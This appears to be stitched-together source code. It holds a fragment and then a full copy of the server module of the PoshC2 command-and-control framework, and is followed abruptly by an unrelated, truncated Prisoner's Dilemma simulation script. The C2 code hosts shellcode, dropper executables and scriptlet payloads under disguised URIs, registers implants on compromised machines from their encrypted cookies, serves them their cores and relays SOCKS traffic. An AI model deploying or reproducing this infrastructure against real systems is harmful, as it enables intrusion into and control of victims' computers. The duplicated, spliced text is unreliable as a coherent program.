insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
def existingdb(db):
print("Using existing %s database / project" % db.value + Colours.GREEN)
database_connect()
C2 = get_c2server_all()
if ((C2.PayloadCommsHost == PayloadCommsHost) and (C2.DomainFrontHeader == DomainFrontHeader)):
qstart = "%squickstart.txt" % (PoshProjectDirectory)
if os.path.exists(qstart):
with open(qstart, 'r') as f:
print(f.read())
else:
print("Error different IP so regenerating payloads")
if os.path.exists("%spayloads_old" % PoshProjectDirectory):
import shutil
shutil.rmtree("%spayloads_old" % PoshProjectDirectory)
os.rename("%spayloads" % PoshProjectDirectory, "%spayloads_old" % PoshProjectDirectory)
os.makedirs("%spayloads" % PoshProjectDirectory)
update_item("PayloadCommsHost", "C2Server", PayloadCommsHost)
update_item("QuickCommand", "C2Server", QuickCommand)
update_item("DomainFrontHeader", "C2Server", DomainFrontHeader)
C2 = get_c2server_all()
urlId = new_urldetails(f"updated_host-{datetime.datetime.strftime(datetime.datetime.now(), "%Y-%m-%d-%H:%M:%S")}", PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "")
newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId)
newPayload.CreateAll()
newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt')
# adding default hosted payloads
QuickCommandURI = select_item("QuickCommand", "C2Server")
insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
def log_c2_messages():
while True:
messages = get_c2_messages()
if messages is not None:
for message in messages:
print(message)
time.sleep(2)
def main(args):
httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)
global new_implant_url, sharpurls, hosted_files, KEY, QuickCommandURI
try:
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
except Exception:
print("cls")
print(chr(27) + "[2J")
print(Colours.GREEN + logopic)
print(Colours.END + "")
try:
if db_exists():
if len(os.listdir(PoshProjectDirectory)) > 2:
existingdb(DatabaseType)
else:
print(Colours.RED + "[-] Project directory does not exist or is empty \n")
print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
sys.exit(1)
else:
newdb(DatabaseType)
except Exception as e:
print(str(e))
traceback.print_exc()
print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
sys.exit(1)
C2 = get_c2server_all()
print("" + Colours.GREEN)
print("CONNECT URL: " + get_newimplanturl() + Colours.GREEN)
print("QUICKCOMMAND URL: " + select_item("QuickCommand", "C2Server") + Colours.GREEN)
print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
print("")
print("PayloadCommsHost: " + select_item("PayloadCommsHost", "C2Server") + Colours.GREEN)
print("DomainFrontHeader: " + str(select_item("DomainFrontHeader", "C2Server")) + Colours.GREEN)
QuickCommandURI = select_item("QuickCommand", "C2Server")
KEY = get_baseenckey()
new_implant_url = get_newimplanturl()
sharpurls = get_sharpurls().split(",")
hosted_files = get_hosted_files()
print("")
print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort))
from datetime import date, datetime
killdate = datetime.strptime(C2.KillDate, '%Y-%m-%d').date()
datedifference = number_of_days(date.today(), killdate)
if datedifference < 8:
print(Colours.RED + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
else:
print(Colours.GREEN + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
print(Colours.END)
if "https://" in PayloadCommsHost.strip():
if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)):
try:
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
except Exception:
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
else:
raise ValueError("Cannot find the certificate files")
c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
c2_message_thread.start()
try:
httpd.serve_forever()
except (KeyboardInterrupt, EOFError):
httpd.server_close()
print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort))
sys.exit(0)
if __name__ == '__main__':
args = sys.argv
main(args)
| #!/usr/bin/env python3
import os, sys, datetime, time, base64, logging, signal, re, ssl, traceback, threading
from urllib.request import urlopen, Request
from urllib.error import HTTPError, URLError
from socketserver import ThreadingMixIn
from http.server import BaseHTTPRequestHandler, HTTPServer
from poshc2.server.Implant import Implant
from poshc2.server.Tasks import newTask, newTaskOutput
from poshc2.server.Core import decrypt, encrypt, default_response, decrypt_bytes_gzip, number_of_days, process_mimikatz, print_bad
from poshc2.Colours import Colours
from poshc2.server.payloads.Payloads import Payloads
from poshc2.server.Config import PoshProjectDirectory, ServerHeader, PayloadsDirectory, GET_404_Response, DownloadsDirectory, Database, PayloadCommsHost, SocksHost
from poshc2.server.Config import QuickCommand, KillDate, DefaultSleep, DomainFrontHeader, urlConfig, BindIP, BindPort
from poshc2.server.Config import DownloadURI, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken
from poshc2.server.Config import Pushover_APIUser, EnableNotifications, DatabaseType
from poshc2.server.Cert import create_self_signed_cert
from poshc2.client.Help import logopic
from poshc2.Utils import validate_sleep_time, randomuri, gen_key
from poshc2.server.database.DBType import DBType
from poshc2.server.database.DB import update_sleep, select_item, get_implants_all, update_implant_lastseen, update_task, get_cmd_from_task_id, get_c2server_all, get_sharpurls
from poshc2.server.database.DB import update_item, get_task_owner, get_newimplanturl, initializedb, setupserver, new_urldetails, get_baseenckey, get_c2_messages, database_connect
from poshc2.server.database.DB import db_exists, get_hosted_files, insert_hosted_file
new_implant_url = None
sharpurls = None
hosted_files = None
QuickCommandURI = None
KEY = None
class MyHandler(BaseHTTPRequestHandler):
def signal_handler(self, signal, frame):
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
def log_message(self, format, *args):
try:
useragent = str(self.headers['user-agent'])
except Exception:
useragent = "None"
open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] %s %s\n" %
(self.address_string(), self.log_date_time_string(), format % args, useragent))
def do_HEAD(self):
"""Respond to a HEAD request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_OPTIONS(self):
"""Respond to a HEAD request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_PUT(self):
"""Respond to a PUT request."""
self.server_version = ServerHeader
self.sys_version = ""
self.send_response(200)
self.send_header("Content-type", "text/html")
self.end_headers()
def do_GET(self):
try:
"""Respond to a GET request."""
response_content_len = None
response_code = 200
response_content_type = "text/html"
response_content = None
hosted_files = get_hosted_files()
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self.cookieHeader = self.headers.get('Cookie')
self.ref = self.headers.get('Referer')
UriPath = str(self.path)
sharplist = []
for hosted_file in sharpurls:
hosted_file = hosted_file.replace(" ", "")
hosted_file = hosted_file.replace("\"", "")
sharplist.append("/" + hosted_file)
self.server_version = ServerHeader
self.sys_version = ""
if not self.cookieHeader:
self.cookieHeader = "NONE"
# implant gets a new task
new_task = newTask(self.path)
if new_task:
response_content = new_task
elif [ele for ele in sharplist if(ele in UriPath)]:
try:
open("%swebserver.log" % PoshProjectDirectory, "a").write("%s - [%s] Making GET connection to SharpSocks %s%s\r\n" % (self.address_string(), self.log_date_time_string(), SocksHost, UriPath))
r = Request("%s%s" % (SocksHost, UriPath), headers={'Accept-Encoding': 'gzip', 'Cookie': '%s' % self.cookieHeader, 'User-Agent': UserAgent})
res = urlopen(r)
sharpout = res.read()
response_content_len = len(sharpout)
if (len(sharpout) > 0):
response_content = sharpout
except HTTPError as e:
response_code = e.code
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
except Exception as e:
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s \r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
# dynamically hosted files
elif [ele for ele in hosted_files if(ele.URI in self.path)]:
for hosted_file in hosted_files:
if hosted_file.URI == self.path or f"/{hosted_file.URI}" == self.path and hosted_file.Active == "Yes":
try:
response_content = open(hosted_file.FilePath, 'rb').read()
except FileNotFoundError as e:
print_bad(f"Hosted file not found (src_addr: {self.client_address[0]}): {hosted_file.URI} -> {e.filename}")
response_content_type = hosted_file.ContentType
if hosted_file.Base64 == "Yes":
response_content = base64.b64encode(response_content)
# do this for the python dropper only
if "_py" in hosted_file.URI:
response_content = "a" + "".join("{:02x}".format(c) for c in response_content)
response_content = bytes(response_content, "utf-8")
# register new implant
elif new_implant_url in self.path and self.cookieHeader.startswith("SessionID"):
implant_type = "PS"
if self.path == ("%s?p" % new_implant_url):
implant_type = "PS Proxy"
if self.path == ("%s?d" % new_implant_url):
implant_type = "PS Daisy"
if self.path == ("%s?m" % new_implant_url):
implant_type = "Python"
if self.path == ("%s?d?m" % new_implant_url):
implant_type = "Python Daisy"
if self.path == ("%s?p?m" % new_implant_url):
implant_type = "Python Proxy"
if self.path == ("%s?c" % new_implant_url):
implant_type = "C#"
if self.path == ("%s?d?c" % new_implant_url):
implant_type = "C# Daisy"
if self.path == ("%s?p?c" % new_implant_url):
implant_type = "C# Proxy"
if implant_type.startswith("C#"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
Domain, User, Hostname, Arch, PID, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
if "\\" in User:
User = User[User.index("\\") + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, int(URLID))
newImplant.save()
newImplant.display()
newImplant.autoruns()
response_content = encrypt(KEY, newImplant.SharpCore)
elif implant_type.startswith("Python"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
User, Domain, Hostname, Arch, PID, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, URLID)
newImplant.save()
newImplant.display()
response_content = encrypt(KEY, newImplant.PythonCore)
else:
try:
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY.encode("utf-8"), cookieVal)
decCookie = str(decCookie)
Domain, User, Hostname, Arch, PID, URLID = decCookie.split(";")
URLID = URLID.replace("\x00", "")
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
if "\\" in str(User):
User = User[str(User).index('\\') + 1:]
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), Arch, PID, URLID)
newImplant.save()
newImplant.display()
newImplant.autoruns()
response_content = encrypt(KEY, newImplant.PSCore)
except Exception as e:
print("Decryption error: %s" % e)
traceback.print_exc()
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
else:
response_code = 404
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
# send response
self.send_response(response_code)
self.send_header("Content-type", response_content_type)
if response_content_len is not None:
self.send_header("Connection", "close")
self.send_header("Content-Length", response_content_len)
self.end_headers()
if response_content is not None:
self.wfile.write(response_content)
except Exception as e:
if 'broken pipe' not in str(e).lower():
print_bad("Error handling GET request: " + str(e))
traceback.print_exc()
def do_POST(self):
try:
"""Respond to a POST request."""
response_content_len = None
response_code = 200
response_content_type = "text/html"
response_content = None
self.server_version = ServerHeader
self.sys_version = ""
try:
content_length = int(self.headers['Content-Length'])
except ValueError:
content_length = 0
self.cookieHeader = self.headers.get('Cookie')
if self.cookieHeader is not None:
cookieVal = self.cookieHeader.replace("SessionID=", "")
else:
cookieVal = ""
post_data = self.rfile.read(content_length)
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data)
newTaskOutput(self.path, cookieVal, post_data)
except Exception as e:
if 'broken pipe' not in str(e).lower():
print_bad("Error handling POST request: " + str(e))
traceback.print_exc()
finally:
try:
UriPath = str(self.path)
sharplist = []
for implant in sharpurls:
implant = implant.replace(" ", "")
implant = implant.replace("\"", "")
sharplist.append("/" + implant)
if [ele for ele in sharplist if(ele in UriPath)]:
try:
open("%swebserver.log" % PoshProjectDirectory, "a").write("[+] Making POST connection to SharpSocks %s%s\r\n" % (SocksHost, UriPath))
r = Request("%s%s" % (SocksHost, UriPath), headers={'Cookie': '%s' % self.cookieHeader, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36'})
res = urlopen(r, post_data)
sharpout = res.read()
response_code = res.getcode()
response_content_len = len(sharpout)
if (len(sharpout) > 0):
response_content = sharpout
except URLError as e:
response_code = 500
response_content_len = len(sharpout)
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] URLError with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
except Exception as e:
response_code = 404
response_content_len = len(sharpout)
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] Error with SharpSocks - is SharpSocks running %s%s\r\n%s\r\n" % (SocksHost, UriPath, traceback.format_exc()))
open("%swebserver.log" % PoshProjectDirectory, "a").write("[-] SharpSocks %s\r\n" % e)
print(Colours.RED + f"Unknown C2 comms incoming (Could be old implant or sharpsocks) - {self.client_address[0]} {UriPath}" + Colours.END)
HTTPResponsePage = select_item("GET_404_Response", "C2Server")
if HTTPResponsePage:
response_content = bytes(HTTPResponsePage, "utf-8")
else:
response_content = bytes(GET_404_Response, "utf-8")
else:
response_content = default_response()
# send response
self.send_response(response_code)
self.send_header("Content-type", response_content_type)
if response_content_len is not None:
self.send_header("Connection", "close")
self.send_header("Content-Length", response_content_len)
self.end_headers()
if response_content is not None:
self.wfile.write(response_content)
except Exception as e:
print(Colours.RED + "Generic error in POST request!" + Colours.END)
print(Colours.RED + UriPath + Colours.END)
print(str(e))
traceback.print_exc()
ThreadingMixIn.daemon_threads = True
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
def newdb(db):
print("Initializing new project folder and %s database" % db.value + Colours.GREEN)
print("")
directory = os.path.dirname(PoshProjectDirectory)
if not os.path.exists(directory):
os.makedirs(directory)
if not os.path.exists("%s/downloads" % directory):
os.makedirs("%s/downloads" % directory)
if not os.path.exists("%s/reports" % directory):
os.makedirs("%s/reports" % directory)
if not os.path.exists("%s/payloads" % directory):
os.makedirs("%s/payloads" % directory)
initializedb()
if not validate_sleep_time(DefaultSleep):
print(Colours.RED)
print("Invalid DefaultSleep in config, please specify a time such as 50s, 10m or 1h")
print(Colours.GREEN)
sys.exit(1)
setupserver(PayloadCommsHost, gen_key().decode("utf-8"), DomainFrontHeader, DefaultSleep, KillDate, GET_404_Response, PoshProjectDirectory, QuickCommand, DownloadURI, "", "", "", URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken, Pushover_APIUser, EnableNotifications)
rewriteFile = "%s/rewrite-rules.txt" % directory
print("Creating Rewrite Rules in: " + rewriteFile)
rewriteHeader = ["RewriteEngine On", "SSLProxyEngine On", "SSLProxyCheckPeerCN Off", "SSLProxyVerify none", "SSLProxyCheckPeerName off", "SSLProxyCheckPeerExpire off", "# Change IPs to point at C2 infrastructure below", "Define PoshC2 10.0.0.1", "Define SharpSocks 10.0.0.1"]
rewriteFileContents = rewriteHeader + urlConfig.fetchRewriteRules() + urlConfig.fetchSocksRewriteRules()
with open(rewriteFile, 'w') as outFile:
for line in rewriteFileContents:
outFile.write(line)
outFile.write('\n')
outFile.close()
C2 = get_c2server_all()
urlId = new_urldetails("default", C2.PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "")
newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId)
newPayload.CreateAll()
create_self_signed_cert(PoshProjectDirectory)
newPayload.WriteQuickstart(directory + '/quickstart.txt')
# adding default hosted payloads
QuickCommandURI = select_item("QuickCommand", "C2Server")
insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
def existingdb(db):
print("Using existing %s database / project" % db.value + Colours.GREEN)
database_connect()
C2 = get_c2server_all()
if ((C2.PayloadCommsHost == PayloadCommsHost) and (C2.DomainFrontHeader == DomainFrontHeader)):
qstart = "%squickstart.txt" % (PoshProjectDirectory)
if os.path.exists(qstart):
with open(qstart, 'r') as f:
print(f.read())
else:
print("Error different IP so regenerating payloads")
if os.path.exists("%spayloads_old" % PoshProjectDirectory):
import shutil
shutil.rmtree("%spayloads_old" % PoshProjectDirectory)
os.rename("%spayloads" % PoshProjectDirectory, "%spayloads_old" % PoshProjectDirectory)
os.makedirs("%spayloads" % PoshProjectDirectory)
update_item("PayloadCommsHost", "C2Server", PayloadCommsHost)
update_item("QuickCommand", "C2Server", QuickCommand)
update_item("DomainFrontHeader", "C2Server", DomainFrontHeader)
C2 = get_c2server_all()
urlId = new_urldetails(f"updated_host-{datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d-%H:%M:%S')}", PayloadCommsHost, C2.DomainFrontHeader, "", "", "", "")
newPayload = Payloads(C2.KillDate, C2.EncKey, C2.Insecure, C2.UserAgent, C2.Referrer, get_newimplanturl(), PayloadsDirectory, URLID=urlId)
newPayload.CreateAll()
newPayload.WriteQuickstart(PoshProjectDirectory + 'quickstart.txt')
# adding default hosted payloads
QuickCommandURI = select_item("QuickCommand", "C2Server")
insert_hosted_file("%ss/86/portal" % QuickCommandURI, "%sSharp_v4_x86_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%ss/64/portal" % QuickCommandURI, "%sSharp_v4_x64_Shellcode.bin" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%sp/86/portal" % QuickCommandURI, "%sPosh_v4_x86_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%sp/64/portal" % QuickCommandURI, "%sPosh_v4_x64_Shellcode.bin" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex86" % QuickCommandURI, "%sPosh_v4_dropper_x86.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_ex64" % QuickCommandURI, "%sPosh_v4_dropper_x64.exe" % (PayloadsDirectory), "application/x-msdownload", "No", "Yes")
insert_hosted_file("%s_bs" % QuickCommandURI, "%spayload.bat" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_rp" % QuickCommandURI, "%spayload.txt" % (PayloadsDirectory), "text/html", "Yes", "Yes")
insert_hosted_file("%s_rg" % QuickCommandURI, "%srg_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_cs" % QuickCommandURI, "%scs_sct.xml" % (PayloadsDirectory), "text/html", "No", "Yes")
insert_hosted_file("%s_py" % QuickCommandURI, "%saes.py" % (PayloadsDirectory), "text/html", "No", "Yes")
def log_c2_messages():
while True:
messages = get_c2_messages()
if messages is not None:
for message in messages:
print(message)
time.sleep(2)
def main(args):
httpd = ThreadedHTTPServer((BindIP, BindPort), MyHandler)
global new_implant_url, sharpurls, hosted_files, KEY, QuickCommandURI
try:
if os.name == 'nt':
os.system('cls')
else:
os.system('clear')
except Exception:
print("cls")
print(chr(27) + "[2J")
print(Colours.GREEN + logopic)
print(Colours.END + "")
try:
if db_exists():
if len(os.listdir(PoshProjectDirectory)) > 2:
existingdb(DatabaseType)
else:
print(Colours.RED + "[-] Project directory does not exist or is empty \n")
print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
sys.exit(1)
else:
newdb(DatabaseType)
except Exception as e:
print(str(e))
traceback.print_exc()
print(Colours.RED + "[>] Create new DB and remove dir (%s) \n" % PoshProjectDirectory)
sys.exit(1)
C2 = get_c2server_all()
print("" + Colours.GREEN)
print("CONNECT URL: " + get_newimplanturl() + Colours.GREEN)
print("QUICKCOMMAND URL: " + select_item("QuickCommand", "C2Server") + Colours.GREEN)
print("WEBSERVER Log: %swebserver.log" % PoshProjectDirectory)
print("")
print("PayloadCommsHost: " + select_item("PayloadCommsHost", "C2Server") + Colours.GREEN)
print("DomainFrontHeader: " + str(select_item("DomainFrontHeader", "C2Server")) + Colours.GREEN)
QuickCommandURI = select_item("QuickCommand", "C2Server")
KEY = get_baseenckey()
new_implant_url = get_newimplanturl()
sharpurls = get_sharpurls().split(",")
hosted_files = get_hosted_files()
print("")
print(time.asctime() + " PoshC2 Server Started - %s:%s" % (BindIP, BindPort))
from datetime import date, datetime
killdate = datetime.strptime(C2.KillDate, '%Y-%m-%d').date()
datedifference = number_of_days(date.today(), killdate)
if datedifference < 8:
print(Colours.RED + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
else:
print(Colours.GREEN + ("\nKill Date is - %s - expires in %s days" % (C2.KillDate, datedifference)))
print(Colours.END)
if "https://" in PayloadCommsHost.strip():
if (os.path.isfile("%sposh.crt" % PoshProjectDirectory)) and (os.path.isfile("%sposh.key" % PoshProjectDirectory)):
try:
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLS)
except Exception:
httpd.socket = ssl.wrap_socket(httpd.socket, keyfile="%sposh.key" % PoshProjectDirectory, certfile="%sposh.crt" % PoshProjectDirectory, server_side=True, ssl_version=ssl.PROTOCOL_TLSv1)
else:
raise ValueError("Cannot find the certificate files")
c2_message_thread = threading.Thread(target=log_c2_messages, daemon=True)
c2_message_thread.start()
try:
httpd.serve_forever()
except (KeyboardInterrupt, EOFError):
httpd.server_close()
print(time.asctime() + " PoshC2 Server Stopped - %s:%s" % (BindIP, BindPort))
sys.exit(0)
if __name__ == '__main__':
args = sys.argv
main(args)
|
import multiprocessing
import os
import itertools
import importlib
import time
import cache as cachelib
import numpy as np
import random
from multiprocessing import Pool, cpu_count
from io import StringIO
import statistics
import argparse
import sys
import json
parser = argparse.ArgumentParser(description="Run the Prisoner's Dilemma simulation.")
parser.add_argument(
"-n",
"--num-runs",
dest="num_runs",
type=int,
default=100,
help="Number of runs to average out",
)
parser.add_argument(
"--skip-slow",
dest="use_slow",
action="store_false",
help="Skip slow strategies for better performance",
)
parser.add_argument(
"-s",
"--strategies",
dest="strategies",
nargs="+",
help="If passed, only these strategies will be tested against each other. If only a single strategy is passed, every other strategy will be paired against it.",
)
cacheparser = parser.add_argument_group("Cache")
cacheparser.add_argument(
"--no-cache",
dest="cache",
action="store_false",
default=True,
help="Ignores the cache."
)
cacheparser.add_argument(
"--delete-cache",
"--remove-cache",
dest="delete_cache",
action="store_true",
default=False,
help="Deletes the cache."
)
cacheparser.add_argument(
"-k",
"--cache-backend",
dest="cache_backend",
type=str,
default="sqlite",
help="Specifies which cache backend to use. (sqlite or json)"
)
cacheparser.add_argument(
"--cache-file",
dest="cache_file",
type=str,
default="",
help="Specifies the cache file to use."
)
parser.add_argument(
"--no-weights",
dest="weights",
action="store_false",
default=True,
help="Ignores weights set in weights.json."
)
parser.add_argument(
"-j",
"--num-processes",
dest="processes",
type=int,
default=cpu_count(),
help="Number of processes to run the simulation with. By default, this is the same as your CPU core count.",
)
args = parser.parse_args()
STRATEGY_FOLDERS = [
"exampleStrats",
"valadaptive",
"nekiwo",
"edward",
"misc",
"saffron",
"aaaa-trsh",
"phoenix",
"l4vr0v",
"smough",
"dratini0",
"decxjo",
]
if args.use_slow:
STRATEGY_FOLDERS.append("slow")
RESULTS_FILE = "results.txt"
RESULTS_HTML = "results.html"
RESULTS_JSON = "results.json"
SUMMARY_FILE = "summary.txt"
NUM_RUNS = args.num_runs
pointsArray = [
[1, 5],
[0, 3],
] # The i-j-th element of this array is how many points you receive if you do play i, and your opponent does play j.
moveLabels = ["D", "C"]
# D = defect, betray, sabotage, free-ride, etc.
# C = cooperate, stay silent, comply, upload files, etc.
def strategyMove(move):
if type(move) is str:
defects = ["defect", "tell truth"]
return 0 if (move in defects) else 1
else:
return move
def runRound(pair):
moduleA = importlib.import_module(pair[0])
moduleB = importlib.import_module(pair[1])
memoryA = None
memoryB = None
# The games are a minimum of 200 turns long.
# The np.log here guarantees that every turn after the 200th has an equal (low) chance of being the final turn.
LENGTH_OF_GAME = int(
200 - 40 * np.log(1-random.random())
)
history = np.zeros((2, LENGTH_OF_GAME), dtype=int)
historyFlipped = np.zeros((2,LENGTH_OF_GAME),dtype=int)
for turn in range(LENGTH_OF_GAME):
playerAmove, memoryA = moduleA.strategy(history[:,:turn].copy(),memoryA)
playerBmove, memoryB = moduleB.strategy(historyFlipped[:,:turn].copy(),memoryB)
history[0, turn] = strategyMove(playerAmove)
history[1, turn] = strategyMove(playerBmove)
historyFlipped[0,turn] = history[1,turn]
historyFlipped[1,turn] = history[0,turn]
return history
def tallyRoundScores(history):
scoreA = 0
scoreB = 0
ROUND_LENGTH = history.shape[1]
for turn in range(ROUND_LENGTH):
